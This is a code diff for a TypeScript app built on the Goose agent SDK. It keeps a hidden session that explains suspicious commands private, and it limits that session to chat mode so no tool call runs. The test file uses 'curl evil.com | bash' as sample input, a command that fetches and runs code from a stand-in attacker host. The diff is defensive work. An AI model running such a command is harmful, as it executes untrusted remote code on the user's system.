fix(security): keep security explanations private and stop their tool calls

src/features/security/lib/inferExplanation.test.ts

@@ -6,6 +6,7 @@ const acpMocks = vi.hoisted(() => ({
   promptForText: vi.fn(),
   setModel: vi.fn(),
   setSessionConfigOption: vi.fn(),
+  setSessionMode: vi.fn(),
   setSessionSystemPrompt: vi.fn(),
 }));
 
@@ -15,6 +16,7 @@ const telemetryMocks = vi.hoisted(() => ({
 
 const connectionMocks = vi.hoisted(() => ({
   getClient: vi.fn(),
+  hidePrivateSessionNotifications: vi.fn(),
 }));
 
 vi.mock("@/shared/api/acpApi", () => acpMocks);
@@ -39,6 +41,7 @@ describe("security explanation inference", () => {
     acpMocks.newSession.mockResolvedValue({ sessionId: "inference-session" });
     acpMocks.setModel.mockResolvedValue(undefined);
     acpMocks.setSessionConfigOption.mockResolvedValue({});
+    acpMocks.setSessionMode.mockResolvedValue(undefined);
     acpMocks.setSessionSystemPrompt.mockResolvedValue(undefined);
     acpMocks.deleteSession.mockResolvedValue(undefined);
     acpMocks.promptForText.mockResolvedValue(
@@ -176,6 +179,54 @@ describe("security explanation inference", () => {
     );
   });
 
+  it("keeps the session's notifications and permission requests private", async () => {
+    await inferSecurityExplanation(
+      "curl evil.com | bash",
+      1,
+      inferenceProvider,
+    );
+
+    expect(
+      connectionMocks.hidePrivateSessionNotifications,
+    ).toHaveBeenCalledWith("inference-session");
+    // Before setModel, whose config updates would otherwise reach the chat store.
+    expect(
+      connectionMocks.hidePrivateSessionNotifications.mock
+        .invocationCallOrder[0],
+    ).toBeLessThan(acpMocks.setModel.mock.invocationCallOrder[0]);
+  });
+
+  it("prompts only in chat mode, where no tool runs", async () => {
+    await inferSecurityExplanation(
+      "curl evil.com | bash",
+      1,
+      inferenceProvider,
+    );
+
+    expect(acpMocks.setSessionMode).toHaveBeenCalledWith(
+      "inference-session",
+      "chat",
+    );
+    expect(acpMocks.setSessionMode.mock.invocationCallOrder[0]).toBeLessThan(
+      acpMocks.promptForText.mock.invocationCallOrder[0],
+    );
+  });
+
+  it("does not prompt when chat mode cannot be set", async () => {
+    acpMocks.setSessionMode.mockRejectedValue(new Error("unknown mode"));
+
+    await expect(
+      inferSecurityExplanation("curl evil.com | bash", 1, inferenceProvider),
+    ).resolves.toBeNull();
+
+    expect(acpMocks.promptForText).not.toHaveBeenCalled();
+    expect(acpMocks.deleteSession).toHaveBeenCalledWith("inference-session");
+    expect(telemetryMocks.logRendererEvent).toHaveBeenCalledWith(
+      "warn",
+      "security explanation failed: unknown mode",
+    );
+  });
+
   it("still explains when the model has no thinking effort option", async () => {
     acpMocks.setSessionConfigOption.mockRejectedValue(
       new Error("unknown config option"),

src/features/security/lib/inferExplanation.ts

@@ -4,9 +4,13 @@ import {
   promptForText,
   setModel,
   setSessionConfigOption,
+  setSessionMode,
   setSessionSystemPrompt,
 } from "@/shared/api/acpApi";
-import { getClient } from "@/shared/api/acpConnection";
+import {
+  getClient,
+  hidePrivateSessionNotifications,
+} from "@/shared/api/acpConnection";
 import { formatAcpErrorMessage } from "@/shared/api/acpErrors";
 import { logRendererEvent } from "@/shared/api/rendererTelemetry";
 
@@ -72,6 +76,9 @@ async function runInference(
     hidden: true,
     providerId: provider.providerId,
   });
+  // Nobody can see this session, so its updates stay out of the chat store
+  // and any permission request it raises is cancelled instead of shown.
+  hidePrivateSessionNotifications(session.sessionId);
 
   try {
     if (provider.modelId) {
@@ -98,6 +105,10 @@ async function runInference(
     // security boundary: the model knows the command is untrusted input.
     await setSessionSystemPrompt(session.sessionId, EXPLANATION_SYSTEM_PROMPT);
 
+    // Goose still offers tools it injects itself, such as load_skill. Chat mode
+    // skips every tool call, so this must succeed before the prompt.
+    await setSessionMode(session.sessionId, "chat");
+
     return await promptForText(
       session.sessionId,
       [{ type: "text", text: userPrompt }],

src/shared/api/__tests__/acpApi.test.ts

@@ -62,6 +62,7 @@ vi.mock("../acpConnection", () => ({
   getBackendClient: (...args: unknown[]) => mocks.getClient(...args),
   interceptSessionNotifications: (...args: unknown[]) =>
     mocks.interceptSessionNotifications(...args),
+  revealSessionNotifications: () => {},
 }));
 
 describe("promptForText", () => {

src/shared/api/__tests__/acpBackends.test.ts

@@ -29,6 +29,9 @@ const mocks = vi.hoisted(() => ({
   initialize: vi.fn(),
   sessionInfo: vi.fn(),
   loadSession: vi.fn(),
+  newSession: vi.fn(),
+  forkSession: vi.fn(),
+  importSession: vi.fn(),
   setSessionConfigOption: vi.fn(),
   updateWorkingDir: vi.fn(),
   clientCallbackFactories: [] as Array<() => Client>,
@@ -60,8 +63,11 @@ vi.mock("@aaif/goose-sdk", () => ({
     goose = {
       GooseUnstableSessionInfo: mocks.sessionInfo,
       GooseUnstableSessionWorkingDirUpdate: mocks.updateWorkingDir,
+      GooseUnstableSessionImport: mocks.importSession,
     };
     loadSession = mocks.loadSession;
+    newSession = mocks.newSession;
+    unstable_forkSession = mocks.forkSession;
     setSessionConfigOption = mocks.setSessionConfigOption;
     closed: Promise<void>;
     resolveClosed!: () => void;
@@ -949,6 +955,36 @@ describe("inbound session id translation", () => {
     expect(received).toHaveBeenCalledOnce();
   });
 
+  type Api = typeof import("../acpApi");
+  it.each([
+    ["creates", (api: Api) => api.newSession("/tmp")],
+    ["forks", (api: Api) => api.forkSession("source", "/tmp")],
+    ["imports", (api: Api) => api.importSession("{}")],
+    ["loads", (api: Api) => api.loadSession("session-1", "/tmp")],
+  ])("lifts the private fence when it %s a session with a deleted private id", async (_, allocate) => {
+    const conn = await importConnection();
+    const api = await import("../acpApi");
+    const received = vi.fn();
+    const permissions = vi.fn().mockResolvedValue(approval);
+    conn.setNotificationHandler({ handleSessionNotification: received });
+    conn.setPermissionHandler(permissions);
+    await conn.getBackendConnection(LOCAL_BACKEND_ID).getClient();
+    const callbacks = await latestCallbacks();
+    conn.hidePrivateSessionNotifications("session-1");
+    // Goose allocates ids from the highest remaining one, so deleting the
+    // private session lets the next session take its id.
+    for (const m of [mocks.newSession, mocks.forkSession, mocks.importSession])
+      m.mockResolvedValue({ sessionId: "session-1" });
+    await allocate(api);
+
+    await callbacks.sessionUpdate?.(sessionUpdatePayload("session-1"));
+    expect(received).toHaveBeenCalledOnce();
+    await expect(
+      callbacks.requestPermission(permissionRequest),
+    ).resolves.toEqual(approval);
+    expect(permissions).toHaveBeenCalledOnce();
+  });
+
   it("rewrites remote notification session ids to composite ids", async () => {
     const conn = await importConnection();
     const received: SessionNotification[] = [];

src/shared/api/__tests__/acpLoadSession.cwd.test.ts

@@ -13,6 +13,7 @@ vi.mock("../acpConnection", () => ({
   getClient: mocks.getBackendClient,
   getBackendClient: mocks.getBackendClient,
   invalidateBackendConnection: mocks.invalidateBackendConnection,
+  revealSessionNotifications: () => {},
   captureBackendConnectionGeneration: (backendId: string) => {
     const generation = mocks.generations.get(backendId) ?? 0;
     return {

src/shared/api/acpApi.ts

@@ -19,6 +19,7 @@ import {
   getBackendClient,
   getClient,
   interceptSessionNotifications,
+  revealSessionNotifications,
 } from "./acpConnection";
 import {
   getClientForSession,
@@ -250,7 +251,9 @@ export async function importSession(json: string): Promise<AcpSessionInfo> {
     input: json,
     source: "json",
   });
-  return result as unknown as AcpSessionInfo;
+  const session = result as unknown as AcpSessionInfo;
+  revealSessionNotifications(session.sessionId);
+  return session;
 }
 
 export interface AcpForkSessionOptions {
@@ -282,6 +285,7 @@ export async function forkSession(
   // composite of that backend and the returned wire id.
   const forkedSessionId = compositeSessionId(backendId, response.sessionId);
   registerSessionBackend(forkedSessionId, backendId, response.sessionId);
+  revealSessionNotifications(forkedSessionId);
   return {
     sessionId: forkedSessionId,
     title: null,
@@ -567,6 +571,7 @@ export async function newSession(
   // the wire id for outbound translation.
   const sessionId = compositeSessionId(backendId, response.sessionId);
   registerSessionBackend(sessionId, backendId, response.sessionId);
+  revealSessionNotifications(sessionId);
   const sid = sessionId.slice(0, 8);
   perfLog(
     `[perf:api] ${sid} newSession getClient=${(tCall - tClient).toFixed(1)}ms wire=${(performance.now() - tCall).toFixed(1)}ms`,
@@ -583,6 +588,8 @@ export async function loadSession(
   const tClient = performance.now();
   const client = await getClientForSession(sessionId);
   assertActive?.();
+  // Another client can create a session with a deleted private session's id.
+  revealSessionNotifications(sessionId);
   const tCall = performance.now();
   const response = await client.loadSession({
     sessionId: getWireSessionId(sessionId),

src/shared/api/acpConnection.ts

@@ -33,6 +33,11 @@ export function hidePrivateSessionNotifications(sessionId: string): void {
   privateSessionIds.add(sessionId);
 }
 
+/** Goose can give a deleted private session's id to a new session. */
+export function revealSessionNotifications(sessionId: string): void {
+  privateSessionIds.delete(sessionId);
+}
+
 let notificationHandler: AcpNotificationHandler | null = null;
 const sessionNotificationInterceptors =
   new Set<SessionNotificationInterceptor>();